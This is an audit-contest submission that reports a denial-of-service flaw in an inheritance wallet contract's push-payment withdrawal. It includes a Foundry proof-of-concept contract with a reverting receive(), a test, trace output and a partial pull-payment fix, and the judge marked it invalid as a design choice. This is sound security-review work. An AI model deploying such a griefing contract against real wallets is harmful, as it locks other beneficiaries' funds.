Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Invalid

H-01. Push payment pattern makes the withdrawInheritance function face DoS vulnerability

Relevant GitHub Links

https://github.com/CodeHawks-Contests/2025-03-inheritable-smart-contract-wallet/blob/9de6350f3b78be35a987e972a1362e26d8d5817d/src/InheritanceManager.sol#L236-L256

Summary

The withdrawInheritedFunds function is vulnerable to a Denial of Service (DoS) attack. A malicious beneficiary can prevent other legitimate beneficiaries from receiving their inherited funds by implementing a reverting receive() function in their contract address.

Vulnerability Details

The vulnerability exists in the withdrawInheritedFunds function where it uses a push payment pattern to distribute ETH to all beneficiaries in a single transaction. The function iterates through all beneficiaries and sends ETH to each one. If any beneficiary's receive function reverts, the entire transaction fails, blocking all other beneficiaries from receiving their funds.

Impact

  • High severity as it completely blocks the inheritance distribution mechanism

  • Legitimate beneficiaries cannot receive their inherited funds

  • The contract's core functionality becomes unusable

  • Funds can become permanently locked in the contract

Proof of Concept

The attack can be demonstrated using a malicious contract that implements a reverting receive() function:

// SPDX-License-Identifier: MIT
//SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test, console} from "forge-std/Test.sol";
import {InheritanceManager} from "../src/InheritanceManager.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";
contract InheritanceManagerDoSHacker {
InheritanceManager target;
uint256 amount;
constructor(address _target) {
target = InheritanceManager(_target);
}
// Fallback function to execute the DoS attack
receive() external payable {
revert("DoS Attack!");
}
}

Here's the test for the DoS attack:

contract InheritanceManagerTest is Test {
InheritanceManager im;
ERC20Mock usdc;
ERC20Mock weth;
address owner = makeAddr("owner");
address user1 = makeAddr("user1");
function setUp() public {
vm.prank(owner);
im = new InheritanceManager();
usdc = new ERC20Mock();
weth = new ERC20Mock();
console.log("im owner", im.getOwner());
}
function test_DoSAttackWithdrawInheritedFunds() public {
InheritanceManagerDoSHacker hacker = new InheritanceManagerDoSHacker(address(im));
vm.startPrank(owner);
// add the hacker as a beneficiary
im.addBeneficiery(address(hacker));
im.addBeneficiery(user1);
vm.stopPrank();
vm.warp(1);
// set the im balance to 6 ETH
vm.deal(address(im), 6e18);
vm.warp(1 + 90 days);
vm.startPrank(user1);
// user1 inherit the im
im.inherit();
vm.expectRevert();
// user1 as a normal user cannot get its inherited funds
im.withdrawInheritedFunds(address(0));
vm.stopPrank();
}
}

Run the test;

forge test -vvvv --match-contract InheritanceManagerTest --match-test test_DoSAttackWithdrawInheritedFunds

which yields the following output:

Ran 1 test for test/InheritanceManagerTest.t.sol:InheritanceManagerTest
[PASS] test_DoSAttackWithdrawInheritedFunds() (gas: 219451)
Logs:
im owner 0x7c8999dC9a822c1f0Df42023113EDB4FDd543266
Traces:
[219451] InheritanceManagerTest::test_DoSAttackWithdrawInheritedFunds()
├─ [47223] → new InherieDoSHacker@0xF62849F9A0B5Bf2913b396098F7c7019b51A820a
│ └─ ← [Return] 124 bytes of code
├─ [0] VM::startPrank(owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266])
│ └─ ← [Return]
├─ [69020] InheritanceManager::addBeneficiery(InherieDoSHacker: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a])
│ └─ ← [Stop]
├─ [23120] InheritanceManager::addBeneficiery(user1: [0x29E3b139f4393aDda86303fcdAa35F60Bb7092bF])
│ └─ ← [Stop]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::warp(1)
│ └─ ← [Return]
├─ [0] VM::deal(InheritanceManager: [0x88F59F8826af5e695B13cA934d6c7999875A9EeA], 6000000000000000000 [6e18])
│ └─ ← [Return]
├─ [0] VM::warp(7776001 [7.776e6])
│ └─ ← [Return]
├─ [0] VM::startPrank(user1: [0x29E3b139f4393aDda86303fcdAa35F60Bb7092bF])
│ └─ ← [Return]
├─ [22686] InheritanceManager::inherit()
│ └─ ← [Stop]
├─ [0] VM::expectRevert(custom error f4844814:)
│ └─ ← [Return]
├─ [8247] InheritanceManager::withdrawInheritedFunds(0x0000000000000000000000000000000000000000)
│ ├─ [144] InherieDoSHacker::receive{value: 3000000000000000000}()
│ │ └─ ← [Revert] revert: DoS Attack!
│ └─ ← [Revert] revert: something went wrong
├─ [0] VM::stopPrank()
│ └─ ← [Return]
└─ ← [Stop]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.80ms (1.06ms CPU time)
Ran 1 test suite in 1.77s (8.80ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Recommended Mitigation

Implement a pull payment pattern instead of the current push payment pattern:

  1. Modify withdrawInheritedFunds to only record the claimable amounts:

mapping(address => uint256) public ethWithdrawableAmount;
function withdrawInheritedFunds(address _asset) external {
if (!isInherited) {
revert NotYetInherited();
}
uint256 divisor = beneficiaries.length;
if (_asset == address(0)) {
uint256 ethAmountAvailable = address(this).balance;
uint256 amountPerBeneficiary = ethAmountAvailable / divisor;
for (uint256 i = 0; i < divisor; i++) {
ethWithdrawableAmount[beneficiaries[i]] += amountPerBeneficiary;
}
}
// ... similar for ERC20 tokens
}

Tools Used

  • Foundry

Updates

Lead Judging Commences

0xtimefliez Lead Judge 5 months ago
Submission Judgement Published
Invalidated
Reason: Design choice

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.